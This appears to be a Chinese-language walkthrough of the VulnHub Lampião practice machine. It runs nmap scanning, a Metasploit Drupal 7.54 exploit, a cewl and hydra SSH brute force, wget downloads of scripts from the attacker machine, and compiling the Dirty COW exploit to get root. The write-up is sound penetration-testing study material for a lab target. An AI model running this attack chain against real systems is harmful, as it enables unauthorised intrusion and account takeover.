vulnhub-lampiao靶机渗透
一、靶场详情
Lampião 靶场是一个面向 渗透测试练习 的靶机环境,收录在 VulnHub平台上。它的名字来自巴西著名的匪首 Lampião(Lampião 是葡萄牙语“油灯”的意思)。
- vulnhub 官网:Vulnerable By Design ~ VulnHub
- 靶机下载地址:https://mega.nz/#!aG4AAaDB!CBLRRYQsAhTOyPJqyjC0Blr-weMH9QMdYbPfMj0LGeM
配置介绍:
- kali:192.168.245.131
- 靶场:192.168.245.144 #在 kali 中用命令 arp-scan -l 可扫描出来
启动靶机,若出现如下界面,靶机启动成功。
二、信息收集
使用 nmap 对靶机 ip 进行扫描,通过扫描结果可知开启了 22 和 80 端口,22 是 ssh 进行远程登录的,80 是 http 协议。
nmap 常用语法:
nmap -sS <IP>
SYN 扫描(半开扫描,默认且最常用,隐蔽)。nmap -sS -sV -O <IP>
SYN 扫描 + 服务版本探测 + 系统识别。nmap -A <IP>
一键化扫描:版本探测、OS 探测、traceroute、脚本扫描。- nmap -p- <IP> 扫描全部端口,-p- 表示扫描 1-65535 端口的简写
这里需要注意,由于 nmap 默认扫描端口的范围是 1-1000,所以我们需要进行全端口扫描。
nmap -p- 192.168.245.144
通过扫描可以看到还有一个 1898 端口。
访问 80 端口:发现没什么用。
访问 1898 端口发现一个页面
通过 dirsearch 扫描目录发现了 robots.txt 文件,进行访问,发现泄露了敏感文件 CHANGELOG.txt。
访问CHANGELOG.txt 文件,发现该网站框架为 Drupal 版本为 7.54
三、 漏洞利用
思路 1:1898 端口
通过 1898 端口 web 服务泄露的版本信息,可以使用 msf 查看是否有该框架的漏洞信息。可以使用第 1 个,根据上述日志可知该服务启动的时间是 2017 年,第一个爆出漏洞的时间是 2018 年。可以使用该漏洞进行尝试。
- use 1 使用第一个
- show options 查看需要配置的参数
由以下图可知,需要配置目标 ip 和端口,使用 set 进行配置
如果进入 meterpreter,则表示漏洞利用成功。
输入 shell,进入命令交互模式。不过这里是一个伪shell,是不会回显信息的,所以我们来执行下面这个语句。
python -c 'import pty; pty.spawn("/bin/bash")'
可知当前用户是 www-data,接下来要做的就是提权。
思路 2:22 端口
22端口是 SSH(Secure Shell) 服务的默认端口。主要用于 远程登录 和 远程命令执行。
访问 1898 页面,点击图片发现路径为?q=node/1,将 1 改为 2,可以得到两个文件,audio.m4a 和 qrc.png,路径访问 audio.m4a 听到 tiago,得到用户名为 tiago。
接下来使用cewl来生成一份结合网站目标的社工性质的密码字典。
cewl http://192.168.245.144:1898 -w /home/kali/Desktop/lampiao/dict.txt
然后使用 hydra 进行爆破。 得到 ssh 的登录密码。
cewl http://192.168.245.144:1898 -w /home/kali/Desktop/lampiao/dict.txt
hydra [登录选项] [破解选项] [目标地址] [服务模块]
# -l 用户名
# -P 爆破用的字典的路径,注意是大写 P,小写 p 仅代表爆破一个值。
# 192.168.245.144 爆破的地址
# ssh 表示 ssh 爆破。
使用 ssh 进行连接。
ssh tiago@192.168.245.144
进入 shell 交互页面,为 tiago 用户,接下来需要进行权限提升。
四、提升权限
使用工具Linux_Exploit_Suggester
Linux_Exploit_Suggester是一款根据Linux操作系统版本号自动查找相应提权脚本的工具,旨在帮助检测给定 Linux 内核/基于 Linux 的机器的安全缺陷。
对于工具检测出的每个漏洞,都会计算其存在的可能性:
- Highly probable:评估的内核很可能受到影响,并且 PoC 漏洞利用很有可能不用在任何重大修改的情况下开箱即用
- Probable:漏洞利用可能会起作用,但很可能需要定制 PoC 漏洞利用以适合目标使用
- Less probable:需要额外的手动分析来验证内核是否受到影响
- Unprobable:内核极不可能受到影响(漏洞利用不会显示在工具的输出中)
github 地址:https://github.com/The-Z-Labs/linux-exploit-suggester
将其下载到 kali 中的脚本文件夹中,在此文件夹下开启 http 服务。这样靶机可以访问 kali 中该文件夹下的脚本文件并下载到本地。
python -m http.server 8081
在 kali 中用 ssh 或 meterpreter 连接靶机的窗口中,使用 wget 下载脚本到 tiago 用户中,或者直接从 github 上下载到靶机中。
wget http://192.168.245.131/les.shwget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
给该文件赋予执行权限,然后执行。
chmod +x les.sh./les.sh
经过测试以及上网查询,发现这个dirty(脏牛)可以进行提权
直接使用 searchsploit 搜索 dirty
或者在网上搜索cve-2016-5195exp
将40847.cpp文件复制到当前 kali/lampiao 目录下。
在连接 ssh 的窗口中,继续使用 wget 把该文件下载到靶机中。
下载成功。
对该文件进行编译,然后执行。得到 root 用户的密码。
g++ -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil
这条命令是 用 g++ 把 40847.cpp
编译为可执行文件 40847
,
启用 C++11 标准,开启多线程支持,进行 O2 优化,并在链接阶段加入 libutil 库
# GNU C++ 编译器,用来编译 .cpp
文件
# -O2 较高级的优化(常用,在保持编译速度的同时生成更快的代码)
# -std=c++11 指定 C++ 标准为 C++11
# -pthread 打开 POSIX 线程库(pthread)
# -o 40847
指定输出的可执行文件名为 40847。如果不写,默认会生成 a.out
。
# 40847.cpp
要编译的源代码文件
# -lutil
链接时使用 libutil 库(-lxxx
表示链接 libxxx.so
或 libxxx.a
)。
用 g++ 把 40847.cpp
编译为可执行文件 40847
,
启用 C++11 标准,开启 多线程支持,进行 O2 优化,并在链接阶段加入 libutil 库。
执行文件得到 root 的密码。
./40847
五、获取 root 权限
使用 ssh 登录 root,账号:root,密码:dirtyCowFun,得到 flag
ssh root@192.168.245.144